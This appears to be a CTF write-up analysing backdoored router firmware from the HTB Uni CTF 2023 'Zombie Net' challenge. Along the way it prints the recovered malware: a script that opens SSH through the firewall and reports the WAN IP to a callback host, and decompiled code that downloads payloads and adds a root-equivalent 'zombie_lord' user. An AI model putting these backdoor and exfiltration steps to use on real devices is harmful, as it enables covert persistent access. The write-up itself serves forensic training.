HTB Uni CTF 2023 - Forensics: Zombie Net - 12/12/2023

Forensic challenge, completed during the Hack The Box University CTF 2023.

HTB Uni CTF 2023 - Zombie Net

In this post, we’ll delve into the Zombie Net challenge, a medium difficulty forensic task from the HackTheBox University CTF 2023. This challenge is centered around basic malware analysis and includes some reverse engineering steps.

1. Introduction

The scenario involves an attack on the Network Operations Center (NOC) of Hackster University, leading to the compromise of several network devices. Despite initial efforts, there’s suspicion that not all compromised devices were identified, and attackers may still have network access. The task involves examining a disk image from a recently used device to uncover how the attackers maintained their access.

The provided file is a .bin format filesystem dump from a Mi Router 4A Gigabit running OpenWRT. The first step is to extract the filesystem using binwalk:

binwalk -e ./openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin

The successfully extracted files:

HTBCTF/forensic/_openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin.extracted ❯ ls
squashfs-root squashfs-root-0 2B752C.squashfs 168C 168C.7z

In our case, the only folder we will focus on is squashfs-root.

2. Analysis of the Dump

HTBCTF/forensic/_openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin.extracted/squashfs-root ❯ ls
bin dev etc lib mnt overlay proc rom root sbin sys tmp usr var www init

As you see, the filesystem contains various directories, but a crucial discovery was made in /etc/init.d, where a file named dead-reanimation was found:

/etc/init.d ❯ ls
 boot               dnsmasq    gpio_switch   odhcpd            sysntpd        urngd
 bootcount          done       led           packet_steering   system         wpad
 cron               dropbear   log           sysctl            umount        
 dead-reanimation   firewall   network       sysfixtime        urandom_seed  

The file contains:

#!/bin/sh /etc/rc.common


start_service() {
	procd_set_param command $PROG
	procd_set_param respawn ${respawn_threshold:-3600} ${respawn_timeout:-5} ${respawn_retry:-5}

This script revealed the execution of /sbin/zombie_runner, which in turn runs /usr/bin/dead-reanimation every 600 seconds. The latter is an ELF 32-bit LSB executable, compiled for MIPS architecture.

squashfs-root/usr/bin ❯ file dead-reanimation 
dead-reanimation: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/, no section header

Let’s analyze it with Ghidra.

3. Reverse Engineering the executable with Ghidra

Ghidra can’t find any main function, but we can easily go to the entry to see where the main is located.

undefined4 main(void)

  int iVar1;
  undefined4 local_a8;
  undefined4 local_a4;
  undefined4 local_a0;
  undefined4 local_9c;
  undefined4 local_98;
  undefined local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined2 local_80;
  undefined auStack_7c [60];
  undefined auStack_40 [56];
  local_a8 = 0x9a6f65f0;
  local_a4 = 0xadf4e47e;
  local_a0 = 0x4e937069;
  local_9c = 0x8ec5e155;
  local_98 = 0x3af55fc1;
  local_94 = 0;
  local_90 = 0x9a6f65f0;
  local_8c = 0xadf4f27e;
  local_88 = 0x4a8c4663;
  local_84 = 0x9082ea40;
  local_80 = 200;
  iVar1 = access((char *)&local_a8,0);
  if (iVar1 == -1) {
    chmod((char *)&local_a8,0x1ff);
  iVar1 = access((char *)&local_90,0);
  if (iVar1 == -1) {
    chmod((char *)&local_90,0x1ff);
  system((char *)&local_90);
  system((char *)&local_a8);
  return 0;

The main function, though cluttered with some unused variables, reveals critical operations like file permission checks and modifications. It also includes calls to two important functions: FUN_00400c04 and FUN_00400b20.


void FUN_00400c04(char *param_1)

  uint uVar1;
  size_t sVar2;
  uint local_10;
  for (local_10 = 0; sVar2 = strlen(param_1), local_10 < sVar2; local_10 = local_10 + 1) {
    uVar1 = local_10 & 0x8000001f;
    if ((int)uVar1 < 0) {
      uVar1 = (uVar1 - 1 | 0xffffffe0) + 1;
    param_1[local_10] = param_1[local_10] ^ (&DAT_00400f24)[uVar1];


undefined4 FUN_00400b20(undefined4 param_1,char *param_2)

  int iVar1;
  FILE *__stream;
  iVar1 = curl_easy_init();
  if (iVar1 != 0) {
    __stream = fopen(param_2,"wb");
  return 0;

As we can see, the FUN_00400c04 function is used for some sort of encryption, luckily for us, it is pretty basic. If we go back again to the main, we can see that it is called 4 times, each time with different function params:


The first two local variables, local_a8 and local_90, are used in chmod operations:

chmod((char *)&local_a8,0x1ff); chmod((char *)&local_90,0x1ff);

The use of 0x1ff (511 in decimal) in these chmod commands suggests that these variables likely represent filenames. The command chmod 511 <filename> sets the permissions for the file to allow read, write, and execute access for the user, group, and others.

The auStack_7c and auStack_40 stack arrays are used in the FUN_00400b20 function. This function employs curl to download files, indicating that these stack arrays contain URLs or related data.

To understand what data is being processed and downloaded by the executable, we need to decrypt the contents of auStack_7c and auStack_40. This involves reversing the encryption operation implemented in the FUN_00400c04 function.

We can achieve this by writing a Python script that replicates the decryption logic. This script will take the encrypted data as input and apply the reverse of the encryption algorithm used in FUN_00400c04. The decrypted data should reveal the actual contents of the auStack_7c and auStack_40 stack arrays, likely including URLs for file retrieval.

def xor_operation(data, index, data_segment):
    uVar1 = index & 0x8000001F
    if (int(uVar1) < 0):
        uVar1 = (uVar1 - 1 | 0xffffffe0) + 1
    data_segment_index = index % len(data_segment)
    return data[index] ^ data_segment[data_segment_index]

def FUN_00400c04(data, key):
    data = bytearray(data)
    key_len = len(key)
    for i in range(len(data)):
        key_index = i % key_len
        data[i] ^= key[key_index]
    return data

key_byte = [0xdf, 0x11, 0x02, 0xea, 0x51, 0x80, 0x91, 0xcc, 0x0d, 0x2f, 0xe1, 0x2b, 0x34, 0x8f, 0xac, 0xe3, 0xa0, 0x2b, 0x90, 0x5e, 0x03, 0xa2, 0xa4, 0x32, 0xed, 0xee, 0x03, 0x96, 0x83, 0x57, 0xf4, 0xb0]

local_a8 = [0x9a, 0x6f, 0x65, 0xf0]
local_90 = [0x9a, 0x6f, 0x65, 0xf0]
auStack_7c = [0xb7, 0x65, 0x76, 0x9a, 0x6b, 0xaf, 0xbe, 0xaf, 0x62, 0x41, 0x87, 0x42, 0x53, 0xfc, 0x82, 0x91, 0xcf, 0x5e, 0xe4, 0x3b, 0x71, 0x8c, 0xcc, 0x46, 0x8f, 0xc1, 0x67, 0xf3, 0xe2, 0x33, 0xab, 0xc2, 0xba, 0x70, 0x6c, 0x83, 0x3c, 0xe1, 0xe5, 0xa9, 0x69, 0x70, 0x8c, 0x65, 0x59, 0xd5, 0xf8, 0xae, 0xd4, 0x65, 0xfa, 0x0b, 0x30, 0xfb, 0xf7, 0x02, 0xdd]
auStack_40 = [0xb7, 0x65, 0x76, 0x9a, 0x6b, 0xaf, 0xbe, 0xaf, 0x62, 0x41, 0x87, 0x42, 0x53, 0xfc, 0x82, 0x91, 0xcf, 0x5e, 0xe4, 0x3b, 0x71, 0x8c, 0xcc, 0x46, 0x8f, 0xc1, 0x71, 0xf3, 0xe2, 0x39, 0x9d, 0xdd, 0xbe, 0x65, 0x67, 0xc4, 0x22, 0xe8, 0xce, 0xa6, 0x48, 0x55, 0xae, 0x7c, 0x79, 0xfb, 0xf6, 0xb7, 0xf5, 0x53, 0xdf, 0x0d, 0x33, 0x92]

decrypted_local_a8 = FUN_00400c04(local_a8, key_byte)
decrypted_local_90 = FUN_00400c04(local_90, key_byte)
decrypted_auStack_7c = FUN_00400c04(auStack_7c, key_byte)
decrypted_auStack_40 = FUN_00400c04(auStack_40, key_byte)

print("Decrypted local_a8:", decrypted_local_a8)
print("Decrypted local_90:", decrypted_local_90)
print("Decrypted auStack_7c:", decrypted_auStack_7c)
print("Decrypted auStack_40:", decrypted_auStack_40)

The output:

Decrypted local_a8: bytearray(b'E~g\x1a')
Decrypted local_90: bytearray(b'E~g\x1a')
Decrypted auStack_7c: bytearray(b'http://configs.router.htb/dead_reanimated_mNmZTMtNjU3YS00')
Decrypted auStack_40: bytearray(b'http://configs.router.htb/reanimate.sh_jEzOWMtZTUxOS00')

As you see, local_a8 and local_90 don’t give us something valuable, but auStack_7c and auStack_40 do give us some juicy links, as we recall, those are used for downloading files in the FUN_00400b20 function.

If we navigate to the URLs, we end up downloading two files: dead_reanimated_mNmZTMtNjU3YS00 and reanimate.sh_jezowmtztuxos00.

4. Inspecting and reverse engineering the downloaded files

The first file: reanimate.sh_jezowmtztuxos00 is a Bash script performing several key actions:


WAN_IP=$(ip -4 -o addr show pppoe-wan | awk '{print $4}' | cut -d "/" -f 1)
ROUTER_IP=$(ip -4 -o addr show br-lan | awk '{print $4}' | cut -d "/" -f 1)

CONFIG="config redirect         \n\t              
	option dest 'lan'           \n\t
	option target 'DNAT'        \n\t 
	option name 'share'         \n\t
	option src 'wan'            \n\t
	option src_dport '61337'    \n\t
	option dest_port '22'       \n\t
	option family 'ipv4'        \n\t
	list proto 'tcpudp'         \n\t
	option dest_ip '${ROUTER_IP}'"

echo -e $CONFIG >> /etc/config/firewall
/etc/init.d/firewall restart

curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate

Key Points:

The second file dead_reanimated_mNmZTMtNjU3YS00 is an ELF executable again. Let’s open it and navigate to the main function with your favorite tool, in my case, I used Ghidra again.

undefined4 main(void)

  size_t sVar1;
  void *pvVar2;
  int iVar3;
  FILE *pFVar4;
  __uid_t _Var5;
  passwd *ppVar6;
  undefined4 uVar7;
  undefined uStack_169;
  undefined4 local_168;
  undefined auStack_164 [252];
  undefined auStack_68 [44];
  char acStack_3c [28];
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 local_18;
  local_20._0_1_ = 'z';
  local_20._1_1_ = 'o';
  local_20._2_1_ = 'm';
  local_20._3_1_ = 'b';
  local_1c._0_1_ = 'i';
  local_1c._1_1_ = 'e';
  local_1c._2_1_ = '_';
  local_1c._3_1_ = 'l';
  local_18._0_1_ = 'o';
  local_18._1_1_ = 'r';
  local_18._2_1_ = 'd';
  local_18._3_1_ = '\0';
  sVar1 = strlen(acStack_3c);
  pvVar2 = malloc(sVar1 << 2);
  iVar3 = curl_easy_init();
  if (iVar3 == 0) {
    uVar7 = 0xfffffffe;
  else {
    pFVar4 = fopen("/proc/sys/kernel/hostname","r");
    local_168 = 0;
    sVar1 = fread(&local_168,0x100,1,pFVar4);
    (&uStack_169)[sVar1] = 0;
    iVar3 = strcmp((char *)&local_168,"HSTERUNI-GW-01");
    if (iVar3 == 0) {
      _Var5 = getuid();
      if ((_Var5 == 0) || (_Var5 = geteuid(), _Var5 == 0)) {
        ppVar6 = getpwnam((char *)&local_20);
        if (ppVar6 == (passwd *)0x0) {
                "opkg update && opkg install shadow-useradd && useradd -s /bin/ash -g 0 -u 0 -o -M z ombie_lord"
        pFVar4 = popen("passwd zombie_lord","w");
        uVar7 = 0;
      else {
        uVar7 = 0xffffffff;
    else {
      uVar7 = 0xffffffff;
  return uVar7;

Examining the main function, several key operations are identified:

  1. Variable and Memory stack array Definitions: The function initiates with the declaration of several variables and memory stack arrays, setting the stage for further operations.

  2. String Copy to stack array: A specific string, "d2c0ba035fe58753c648066d76fa793bea92ef29", is copied into one of the stack arrays. This string likely plays a role in the subsequent cryptographic process.

  3. Data Copy from Memory Address: The function copies data from the memory address &DAT_00400d50 into another stack array. This data could be crucial for the decryption process or other operations within the executable.

  4. Calling init_crypto_lib Function: The init_crypto_lib function is invoked with the previously copied string and stack array as arguments, suggesting it performs a decryption process or similar cryptographic operation.

  5. Curl Request Execution: The function executes a curl command to send a request to the http://callback.router.htb endpoint. This request likely includes data decrypted or processed by init_crypto_lib, implying communication with an external server.

  6. Hostname Verification: It reads the system’s hostname from /proc/sys/kernel/hostname and checks if it matches HSTERUNI-GW-01. This condition suggests a targeted operation specific to this hostname.

  7. User ID (UID) Checks and User Creation: If the hostname matches, the function performs UID checks and, based on these checks, creates a new user named zombie_lord. The command used suggests that this user has elevated privileges, as indicated by the command useradd -s /bin/ash -g 0 -u 0 -o -M zombie_lord.

  8. Password Manipulation for zombie_lord: In the case of successful user creation or if the user already exists, the function modifies the password for zombie_lord. This modification uses the result returned from the init_crypto_lib function, indicating that this user’s password is set to a value derived from the decryption process.

Now that we have an overview of the main, let’s reverse engineer init_crypto_lib:

undefined4 init_crypto_lib(undefined4 param_1,undefined4 param_2,undefined4 param_3)

  undefined auStack_110 [260];
  return 0;

This function defines a stack array and then calls two functions: key_rounds_init and perform_rounds.

Let’s go through key_rounds_init:

undefined4 key_rounds_init(char *param_1,undefined *param_2)

  byte bVar1;
  size_t sVar2;
  int iVar3;
  undefined *puVar4;
  int iVar5;
  byte *pbVar6;
  int iVar7;
  sVar2 = strlen(param_1);
  iVar3 = 0;
  puVar4 = param_2;
  do {
    *puVar4 = (char)iVar3;
    iVar3 = iVar3 + 1;
    puVar4 = param_2 + iVar3;
  } while (iVar3 != 0x100);
  iVar3 = 0;
  iVar5 = 0;
  do {
    iVar7 = iVar3 % (int)sVar2;
    if (sVar2 == 0) {
    pbVar6 = param_2 + iVar3;
    bVar1 = *pbVar6;
    iVar3 = iVar3 + 1;
    iVar5 = (int)((int)param_1[iVar7] + (uint)bVar1 + iVar5) % 0x100;
    *pbVar6 = param_2[iVar5];
    param_2[iVar5] = bVar1;
  } while (iVar3 != 0x100);
  return 0;

The key_rounds_init function is responsible for initializing the key for the decryption process. It takes the encrypted key (in this case, "d2c0ba035fe58753c648066d76fa793bea92ef29") and modifies it using a series of operations, primarily modulo arithmetic. This process effectively scrambles the key in preparation for the decryption process.

We can translate it to Python:

def key_rounds_init(key):
    key_length = len(key)
    key_buffer = list(range(256))
    j = 0
    for i in range(256):
        j = (j + key_buffer[i] + key[i % key_length]) % 256
        key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
    return key_buffer

Now let’s hop to the second function perform_rounds:

undefined4 perform_rounds(int param_1,char *param_2,int param_3)

  byte bVar1;
  size_t sVar2;
  byte *pbVar3;
  size_t sVar4;
  uint uVar5;
  uint uVar6;
  sVar2 = strlen(param_2);
  uVar6 = 0;
  uVar5 = 0;
  for (sVar4 = 0; sVar4 != sVar2; sVar4 = sVar4 + 1) {
    uVar5 = uVar5 + 1 & 0xff;
    pbVar3 = (byte *)(param_1 + uVar5);
    bVar1 = *pbVar3;
    uVar6 = bVar1 + uVar6 & 0xff;
    *pbVar3 = *(byte *)(param_1 + uVar6);
    *(byte *)(param_1 + uVar6) = bVar1;
    *(byte *)(param_3 + sVar4) =
         *(byte *)(param_1 + ((uint)bVar1 + (uint)*pbVar3 & 0xff)) ^ param_2[sVar4];
  return 0;

The perform_rounds function implements the core decryption algorithm. It uses the prepared key buffer from key_rounds_init and performs a series of bitwise operations, including XOR, to decrypt the data. This is a common technique seen in stream cipher cryptography.

The Python translation of this function:

def perform_rounds(key_buffer, data):
    i = j = 0
    output = bytearray(len(data))
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + key_buffer[i]) % 256
        key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
        t = (key_buffer[i] + key_buffer[j]) % 256
        keystream_byte = key_buffer[t]
        output[k] = data[k] ^ keystream_byte
    return output

Combining these functions, we can decrypt the ciphertext to reveal meaningful data. Let’s try with the following script:

def key_rounds_init(key):
    key_length = len(key)
    key_buffer = list(range(256))
    j = 0
    for i in range(256):
        j = (j + key_buffer[i] + key[i % key_length]) % 256
        key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
    return key_buffer

def decrypt_stream_cipher(key, ciphertext):
    key_buffer = key_rounds_init(key)
    return perform_rounds(key_buffer, ciphertext)

key_str = "d2c0ba035fe58753c648066d76fa793bea92ef29"
key = [ord(c) for c in key_str]

ciphertext = [
    0xc5, 0x7c, 0x2b, 0x05, 0x48, 0x90, 0xf3, 0xb7, 0x3f, 0x76, 0x0f, 0x5b, 0x68, 0x7b, 0x62, 0x72, 0xbd, 0xf8, 0x01, 0x9b, 0x57, 0x47, 0x1e, 0x6f, 0xdf, 0x8c, 0x55, 0x00

decrypted_bytes = decrypt_stream_cipher(key, ciphertext)
decrypted_text = ''.join(chr(b) for b in decrypted_bytes)
print("Decrypted Text:", decrypted_text)

The output:

Decrypted Text: 3ct3d_0ur_c0mmun1c4t10ns!!}	

Great news, we successfully recovered the last part 🎉
We can now assemble both parts to get the complete flag: HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!}